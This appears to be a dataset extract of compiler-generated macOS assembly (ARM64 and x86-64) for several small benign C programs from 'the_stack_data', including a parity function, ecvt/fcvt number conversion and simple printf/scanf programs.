movss LCPI0_2(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -4(%rbp)
movss LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -8(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm1
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm1, %xmm0
movss -8(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
cvtss2sd %xmm1, %xmm1
mulsd %xmm1, %xmm0
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -12(%rbp)
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Area: %f sq cms"
.subsections_via_symbols
| the_stack_data/118393.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
bl _foo
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _bar ; -- Begin function bar
.p2align 2
_bar: ; @bar
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, #4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #10
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB1_1
LBB1_4:
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movb $0, %al
callq _foo
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _bar ## -- Begin function bar
.p2align 4, 0x90
_bar: ## @bar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -12(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpl $10, -12(%rbp)
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_4:
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/70451307.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___parityhi2 ; -- Begin function __parityhi2
.p2align 2
___parityhi2: ; @__parityhi2
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
strh w0, [sp, #14]
str wzr, [sp, #4]
str wzr, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
subs w8, w8, #16
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldrh w8, [sp, #14]
ldr w10, [sp, #8]
mov w9, #1
lsl w9, w9, w10
ands w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_1
LBB0_6:
ldr w8, [sp, #4]
and w0, w8, #0x1
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___parityhi2 ## -- Begin function __parityhi2
.p2align 4, 0x90
___parityhi2: ## @__parityhi2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movw %di, %ax
movw %ax, -2(%rbp)
movl $0, -12(%rbp)
movl $0, -8(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $16, -8(%rbp)
jge LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movzwl -2(%rbp), %eax
movl -8(%rbp), %ecx
movl $1, %edx
## kill: def $cl killed $ecx
shll %cl, %edx
movl %edx, %ecx
andl %ecx, %eax
cmpl $0, %eax
je LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_5
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_6:
movl -12(%rbp), %eax
andl $1, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/75865.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ecvt ; -- Begin function ecvt
.p2align 2
_ecvt: ; @ecvt
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur d0, [x29, #-8]
stur w0, [x29, #-12]
str x1, [sp, #8]
str x2, [sp]
ldur d0, [x29, #-8]
ldur w0, [x29, #-12]
ldr x1, [sp, #8]
ldr x2, [sp]
mov w3, #1
bl _cvt
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function cvt
lCPI1_0:
.quad 0x3f9eb851eb851eb8 ; double 0.029999999999999999
.section __TEXT,__text,regular,pure_instructions
.p2align 2
_cvt: ; @cvt
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _cvt.buf@PAGE
add x8, x8, _cvt.buf@PAGEOFF
str x8, [sp, #16] ; 8-byte Folded Spill
add x8, x8, #80
str x8, [sp, #24] ; 8-byte Folded Spill
stur d0, [x29, #-16]
stur w0, [x29, #-20]
stur x1, [x29, #-32]
stur x2, [x29, #-40]
stur w3, [x29, #-44]
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
stur wzr, [x29, #-20]
b LBB1_2
LBB1_2:
ldur w8, [x29, #-20]
subs w8, w8, #79
cset w8, lt
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
mov w8, #78
stur w8, [x29, #-20]
b LBB1_4
LBB1_4:
stur wzr, [x29, #-48]
ldur x8, [x29, #-40]
str wzr, [x8]
adrp x8, _cvt.buf@PAGE
add x8, x8, _cvt.buf@PAGEOFF
str x8, [sp, #40]
ldur d0, [x29, #-16]
fcmp d0, #0.0
cset w8, pl
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5:
ldur x9, [x29, #-40]
mov w8, #1
str w8, [x9]
ldur d0, [x29, #-16]
fneg d0, d0
stur d0, [x29, #-16]
b LBB1_6
LBB1_6:
ldur d0, [x29, #-16]
add x0, sp, #56
bl _modf
ldr x8, [sp, #24] ; 8-byte Folded Reload
stur d0, [x29, #-16]
str x8, [sp, #32]
ldr d0, [sp, #56]
fcmp d0, #0.0
cset w8, eq
tbnz w8, #0, LBB1_14
b LBB1_7
LBB1_7:
ldr x8, [sp, #24] ; 8-byte Folded Reload
str x8, [sp, #32]
b LBB1_8
LBB1_8: ; =>This Inner Loop Header: Depth=1
ldr d0, [sp, #56]
fcmp d0, #0.0
cset w8, eq
tbnz w8, #0, LBB1_10
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_8 Depth=1
add x0, sp, #56
ldr d0, [sp, #56]
fmov d1, #10.00000000
str d1, [sp, #8] ; 8-byte Folded Spill
fdiv d0, d0, d1
bl _modf
ldr d1, [sp, #8] ; 8-byte Folded Reload
str d0, [sp, #48]
ldr d0, [sp, #48]
adrp x8, lCPI1_0@PAGE
ldr d2, [x8, lCPI1_0@PAGEOFF]
fadd d0, d0, d2
fmul d0, d0, d1
fcvtzs w8, d0
add w8, w8, #48
ldr x9, [sp, #32]
subs x10, x9, #1
str x10, [sp, #32]
sturb w8, [x9, #-1]
ldur w8, [x29, #-48]
add w8, w8, #1
stur w8, [x29, #-48]
b LBB1_8
LBB1_10:
b LBB1_11
LBB1_11: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #32]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB1_13
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_11 Depth=1
ldr x8, [sp, #32]
add x9, x8, #1
str x9, [sp, #32]
ldrb w8, [x8]
ldr x9, [sp, #40]
add x10, x9, #1
str x10, [sp, #40]
strb w8, [x9]
b LBB1_11
LBB1_13:
b LBB1_20
LBB1_14:
ldur d0, [x29, #-16]
fcmp d0, #0.0
cset w8, le
tbnz w8, #0, LBB1_19
b LBB1_15
LBB1_15:
b LBB1_16
LBB1_16: ; =>This Inner Loop Header: Depth=1
ldur d0, [x29, #-16]
fmov d1, #10.00000000
fmul d0, d0, d1
str d0, [sp, #48]
fmov d1, #1.00000000
fcmp d0, d1
cset w8, pl
tbnz w8, #0, LBB1_18
b LBB1_17
LBB1_17: ; in Loop: Header=BB1_16 Depth=1
ldr d0, [sp, #48]
stur d0, [x29, #-16]
ldur w8, [x29, #-48]
subs w8, w8, #1
stur w8, [x29, #-48]
b LBB1_16
LBB1_18:
b LBB1_19
LBB1_19:
b LBB1_20
LBB1_20:
ldursw x9, [x29, #-20]
adrp x8, _cvt.buf@PAGE
add x8, x8, _cvt.buf@PAGEOFF
add x8, x8, x9
str x8, [sp, #32]
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_22
b LBB1_21
LBB1_21:
ldursw x9, [x29, #-48]
ldr x8, [sp, #32]
add x8, x8, x9
str x8, [sp, #32]
b LBB1_22
LBB1_22:
ldur w8, [x29, #-48]
ldur x9, [x29, #-32]
str w8, [x9]
ldr x8, [sp, #32]
adrp x9, _cvt.buf@PAGE
add x9, x9, _cvt.buf@PAGEOFF
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB1_24
b LBB1_23
LBB1_23:
adrp x9, _cvt.buf@PAGE
adrp x8, _cvt.buf@PAGE
add x8, x8, _cvt.buf@PAGEOFF
strb wzr, [x9, _cvt.buf@PAGEOFF]
stur x8, [x29, #-8]
b LBB1_42
LBB1_24:
b LBB1_25
LBB1_25: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #40]
ldr x9, [sp, #32]
subs x8, x8, x9
cset w8, hi
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_27
b LBB1_26
LBB1_26: ; in Loop: Header=BB1_25 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #40]
subs x8, x8, x9
cset w8, lo
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB1_27
LBB1_27: ; in Loop: Header=BB1_25 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB1_29
b LBB1_28
LBB1_28: ; in Loop: Header=BB1_25 Depth=1
ldur d0, [x29, #-16]
fmov d1, #10.00000000
fmul d0, d0, d1
stur d0, [x29, #-16]
ldur d0, [x29, #-16]
add x0, sp, #48
bl _modf
stur d0, [x29, #-16]
ldr d0, [sp, #48]
fcvtzs w8, d0
add w8, w8, #48
ldr x9, [sp, #40]
add x10, x9, #1
str x10, [sp, #40]
strb w8, [x9]
b LBB1_25
LBB1_29:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #32]
subs x8, x8, x9
cset w8, lo
tbnz w8, #0, LBB1_31
b LBB1_30
LBB1_30:
ldr x8, [sp, #16] ; 8-byte Folded Reload
strb wzr, [x8, #79]
adrp x8, _cvt.buf@PAGE
add x8, x8, _cvt.buf@PAGEOFF
stur x8, [x29, #-8]
b LBB1_42
LBB1_31:
ldr x8, [sp, #32]
str x8, [sp, #40]
ldr x9, [sp, #32]
ldrsb w8, [x9]
add w8, w8, #5
strb w8, [x9]
b LBB1_32
LBB1_32: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #32]
ldrsb w8, [x8]
subs w8, w8, #57
cset w8, le
tbnz w8, #0, LBB1_41
b LBB1_33
LBB1_33: ; in Loop: Header=BB1_32 Depth=1
ldr x9, [sp, #32]
mov w8, #48
strb w8, [x9]
ldr x8, [sp, #32]
adrp x9, _cvt.buf@PAGE
add x9, x9, _cvt.buf@PAGEOFF
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB1_35
b LBB1_34
LBB1_34: ; in Loop: Header=BB1_32 Depth=1
ldr x9, [sp, #32]
subs x8, x9, #1
mov x10, x8
str x10, [sp, #32]
ldrb w8, [x8]
add w8, w8, #1
sturb w8, [x9, #-1]
b LBB1_40
LBB1_35: ; in Loop: Header=BB1_32 Depth=1
ldr x9, [sp, #32]
mov w8, #49
strb w8, [x9]
ldur x9, [x29, #-32]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_39
b LBB1_36
LBB1_36: ; in Loop: Header=BB1_32 Depth=1
ldr x8, [sp, #40]
adrp x9, _cvt.buf@PAGE
add x9, x9, _cvt.buf@PAGEOFF
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB1_38
b LBB1_37
LBB1_37: ; in Loop: Header=BB1_32 Depth=1
ldr x9, [sp, #40]
mov w8, #48
strb w8, [x9]
b LBB1_38
LBB1_38: ; in Loop: Header=BB1_32 Depth=1
ldr x8, [sp, #40]
add x8, x8, #1
str x8, [sp, #40]
b LBB1_39
LBB1_39: ; in Loop: Header=BB1_32 Depth=1
b LBB1_40
LBB1_40: ; in Loop: Header=BB1_32 Depth=1
b LBB1_32
LBB1_41:
ldr x8, [sp, #40]
strb wzr, [x8]
adrp x8, _cvt.buf@PAGE
add x8, x8, _cvt.buf@PAGEOFF
stur x8, [x29, #-8]
b LBB1_42
LBB1_42:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl _fcvt ; -- Begin function fcvt
.p2align 2
_fcvt: ; @fcvt
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur d0, [x29, #-8]
stur w0, [x29, #-12]
str x1, [sp, #8]
str x2, [sp]
ldur d0, [x29, #-8]
ldur w0, [x29, #-12]
ldr x1, [sp, #8]
ldr x2, [sp]
mov w3, #0
bl _cvt
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,_cvt.buf,80,0 ; @cvt.buf
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ecvt ## -- Begin function ecvt
.p2align 4, 0x90
_ecvt: ## @ecvt
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movsd %xmm0, -8(%rbp)
movl %edi, -12(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
movl -12(%rbp), %edi
movq -24(%rbp), %rsi
movq -32(%rbp), %rdx
movl $1, %ecx
callq _cvt
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function cvt
LCPI1_0:
.quad 0x3ff0000000000000 ## double 1
LCPI1_1:
.quad 0x4024000000000000 ## double 10
LCPI1_2:
.quad 0x3f9eb851eb851eb8 ## double 0.029999999999999999
.section __TEXT,__text,regular,pure_instructions
.p2align 4, 0x90
_cvt: ## @cvt
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movsd %xmm0, -16(%rbp)
movl %edi, -20(%rbp)
movq %rsi, -32(%rbp)
movq %rdx, -40(%rbp)
movl %ecx, -44(%rbp)
cmpl $0, -20(%rbp)
jge LBB1_2
## %bb.1:
movl $0, -20(%rbp)
LBB1_2:
cmpl $79, -20(%rbp)
jl LBB1_4
## %bb.3:
movl $78, -20(%rbp)
LBB1_4:
movl $0, -48(%rbp)
movq -40(%rbp), %rax
movl $0, (%rax)
leaq _cvt.buf(%rip), %rax
movq %rax, -72(%rbp)
xorps %xmm0, %xmm0
ucomisd -16(%rbp), %xmm0
jbe LBB1_6
## %bb.5:
movq -40(%rbp), %rax
movl $1, (%rax)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -16(%rbp)
LBB1_6:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq -56(%rbp), %rdi
callq _modf
movsd %xmm0, -16(%rbp)
leaq _cvt.buf(%rip), %rax
addq $80, %rax
movq %rax, -80(%rbp)
movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jne LBB1_7
jp LBB1_7
jmp LBB1_14
LBB1_7:
leaq _cvt.buf(%rip), %rax
addq $80, %rax
movq %rax, -80(%rbp)
LBB1_8: ## =>This Inner Loop Header: Depth=1
movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jne LBB1_9
jp LBB1_9
jmp LBB1_10
LBB1_9: ## in Loop: Header=BB1_8 Depth=1
movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
leaq -56(%rbp), %rdi
callq _modf
movsd %xmm0, -64(%rbp)
movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero
addsd -64(%rbp), %xmm0
movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm1, %xmm0
cvttsd2si %xmm0, %eax
addl $48, %eax
movb %al, %cl
movq -80(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -80(%rbp)
movb %cl, -1(%rax)
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB1_8
LBB1_10:
jmp LBB1_11
LBB1_11: ## =>This Inner Loop Header: Depth=1
leaq _cvt.buf(%rip), %rax
addq $80, %rax
cmpq %rax, -80(%rbp)
jae LBB1_13
## %bb.12: ## in Loop: Header=BB1_11 Depth=1
movq -80(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -80(%rbp)
movb (%rax), %cl
movq -72(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -72(%rbp)
movb %cl, (%rax)
jmp LBB1_11
LBB1_13:
jmp LBB1_20
LBB1_14:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jbe LBB1_19
## %bb.15:
jmp LBB1_16
LBB1_16: ## =>This Inner Loop Header: Depth=1
movsd LCPI1_1(%rip), %xmm1 ## xmm1 = mem[0],zero
mulsd -16(%rbp), %xmm1
movsd %xmm1, -64(%rbp)
movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jbe LBB1_18
## %bb.17: ## in Loop: Header=BB1_16 Depth=1
movsd -64(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -16(%rbp)
movl -48(%rbp), %eax
addl $-1, %eax
movl %eax, -48(%rbp)
jmp LBB1_16
LBB1_18:
jmp LBB1_19
LBB1_19:
jmp LBB1_20
LBB1_20:
movslq -20(%rbp), %rcx
leaq _cvt.buf(%rip), %rax
addq %rcx, %rax
movq %rax, -80(%rbp)
cmpl $0, -44(%rbp)
jne LBB1_22
## %bb.21:
movl -48(%rbp), %ecx
movq -80(%rbp), %rax
movslq %ecx, %rcx
addq %rcx, %rax
movq %rax, -80(%rbp)
LBB1_22:
movl -48(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, (%rax)
leaq _cvt.buf(%rip), %rax
cmpq %rax, -80(%rbp)
jae LBB1_24
## %bb.23:
movb $0, _cvt.buf(%rip)
leaq _cvt.buf(%rip), %rax
movq %rax, -8(%rbp)
jmp LBB1_42
LBB1_24:
jmp LBB1_25
LBB1_25: ## =>This Inner Loop Header: Depth=1
movq -72(%rbp), %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq -80(%rbp), %rcx
movb %al, -81(%rbp) ## 1-byte Spill
ja LBB1_27
## %bb.26: ## in Loop: Header=BB1_25 Depth=1
leaq _cvt.buf(%rip), %rax
addq $80, %rax
cmpq %rax, -72(%rbp)
setb %al
movb %al, -81(%rbp) ## 1-byte Spill
LBB1_27: ## in Loop: Header=BB1_25 Depth=1
movb -81(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_28
jmp LBB1_29
LBB1_28: ## in Loop: Header=BB1_25 Depth=1
movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd -16(%rbp), %xmm0
movsd %xmm0, -16(%rbp)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq -64(%rbp), %rdi
callq _modf
movsd %xmm0, -16(%rbp)
cvttsd2si -64(%rbp), %eax
addl $48, %eax
movb %al, %cl
movq -72(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -72(%rbp)
movb %cl, (%rax)
jmp LBB1_25
LBB1_29:
leaq _cvt.buf(%rip), %rax
addq $80, %rax
cmpq %rax, -80(%rbp)
jb LBB1_31
## %bb.30:
movb $0, _cvt.buf+79(%rip)
leaq _cvt.buf(%rip), %rax
movq %rax, -8(%rbp)
jmp LBB1_42
LBB1_31:
movq -80(%rbp), %rax
movq %rax, -72(%rbp)
movq -80(%rbp), %rax
movsbl (%rax), %ecx
addl $5, %ecx
## kill: def $cl killed $cl killed $ecx
movb %cl, (%rax)
LBB1_32: ## =>This Inner Loop Header: Depth=1
movq -80(%rbp), %rax
movsbl (%rax), %eax
cmpl $57, %eax
jle LBB1_41
## %bb.33: ## in Loop: Header=BB1_32 Depth=1
movq -80(%rbp), %rax
movb $48, (%rax)
leaq _cvt.buf(%rip), %rax
cmpq %rax, -80(%rbp)
jbe LBB1_35
## %bb.34: ## in Loop: Header=BB1_32 Depth=1
movq -80(%rbp), %rax
movq %rax, %rcx
addq $-1, %rcx
movq %rcx, -80(%rbp)
movb -1(%rax), %cl
addb $1, %cl
movb %cl, -1(%rax)
jmp LBB1_40
LBB1_35: ## in Loop: Header=BB1_32 Depth=1
movq -80(%rbp), %rax
movb $49, (%rax)
movq -32(%rbp), %rax
movl (%rax), %ecx
addl $1, %ecx
movl %ecx, (%rax)
cmpl $0, -44(%rbp)
jne LBB1_39
## %bb.36: ## in Loop: Header=BB1_32 Depth=1
leaq _cvt.buf(%rip), %rax
cmpq %rax, -72(%rbp)
jbe LBB1_38
## %bb.37: ## in Loop: Header=BB1_32 Depth=1
movq -72(%rbp), %rax
movb $48, (%rax)
LBB1_38: ## in Loop: Header=BB1_32 Depth=1
movq -72(%rbp), %rax
addq $1, %rax
movq %rax, -72(%rbp)
LBB1_39: ## in Loop: Header=BB1_32 Depth=1
jmp LBB1_40
LBB1_40: ## in Loop: Header=BB1_32 Depth=1
jmp LBB1_32
LBB1_41:
movq -72(%rbp), %rax
movb $0, (%rax)
leaq _cvt.buf(%rip), %rax
movq %rax, -8(%rbp)
LBB1_42:
movq -8(%rbp), %rax
addq $96, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _fcvt ## -- Begin function fcvt
.p2align 4, 0x90
_fcvt: ## @fcvt
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movsd %xmm0, -8(%rbp)
movl %edi, -12(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
movl -12(%rbp), %edi
movq -24(%rbp), %rsi
movq -32(%rbp), %rdx
xorl %ecx, %ecx
callq _cvt
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,_cvt.buf,80,4 ## @cvt.buf
.subsections_via_symbols
| the_stack_data/198580250.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/232954932.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #1
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldursb w8, [x29, #-1]
subs w8, w8, #1
sturb w8, [x29, #-2]
ldursb w8, [x29, #-1]
add w8, w8, #1
sturb w8, [x29, #-3]
ldursb w12, [x29, #-1]
ldursb w11, [x29, #-2]
ldursb w10, [x29, #-3]
mov x9, sp
; implicit-def: $x8
mov x8, x12
str x8, [x9]
; implicit-def: $x8
mov x8, x11
str x8, [x9, #8]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #16]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Digite uma letra: "
l_.str.1: ; @.str.1
.asciz "%c"
l_.str.2: ; @.str.2
.asciz "Antes da letra %c temos a letra %c. Depois temos a letra %c."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -1(%rbp), %rsi
movb $0, %al
callq _scanf
movsbl -1(%rbp), %eax
subl $1, %eax
## kill: def $al killed $al killed $eax
movb %al, -2(%rbp)
movsbl -1(%rbp), %eax
addl $1, %eax
## kill: def $al killed $al killed $eax
movb %al, -3(%rbp)
movsbl -1(%rbp), %esi
movsbl -2(%rbp), %edx
movsbl -3(%rbp), %ecx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
